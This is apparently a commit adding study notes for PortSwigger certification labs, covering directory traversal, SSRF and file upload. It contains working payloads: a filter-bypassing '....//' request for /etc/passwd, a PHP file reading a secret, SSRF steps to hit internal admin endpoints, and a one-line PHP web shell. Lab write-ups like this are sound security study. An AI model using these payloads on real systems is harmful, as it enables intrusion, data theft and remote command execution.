feat(bscp): add labs for upload vulns

docs/writeups/2023/portswigger-bscp-labs/directory-traversal.md

@@ -0,0 +1,12 @@
+# Directory Traversal
+
+## File path traversal, traversal sequences stripped non-recursively
+
+`../` gets filtered so we trick the applaction by submitting a get request like 
+this:
+
+``` 
+GET /image?filename=....//....//....//....//etc/passwd HTTP/2
+Host: 0afc0083049fe2ff877f7f5400b400a1.web-security-academy.net
+```
+

docs/writeups/2023/portswigger-bscp-labs/resources/php-shell.php

@@ -0,0 +1 @@
+<?php echo file_get_contents('/home/carlos/secret'); ?>

docs/writeups/2023/portswigger-bscp-labs/server-side-request-forgery.md

@@ -0,0 +1,19 @@
+# Server-side Request Forgery (SSRF)
+
+## Basic SSRF against the local server
+
+1. Click on a product
+2. Request the stock count of the product
+3. Change the url of the `stockApi` parameter to point to `localhost/admin`
+4. View the rendered page and the source to find our that we need to set the
+   `stockApi` url to `localhost/admin/delete?username=carlos`
+
+## Basic SSRF against another back-end system
+
+1. Click on a product
+2. Request the stock count of the product
+3. Send request to Intruder
+4. Change the url of the `stockApi` parameter to point to `http://192.168.0.$1$/admin`
+   - set `$1$` to a number between 1 and 255.
+5. look for `200` status answer
+6. delete carlos

docs/writeups/2023/portswigger-bscp-labs/upload-vulnerabilities.md

@@ -0,0 +1,7 @@
+# Upload Vulnerabilities
+
+PHP Shell
+
+```
+<?php echo system($_GET['cmd']); ?>
+```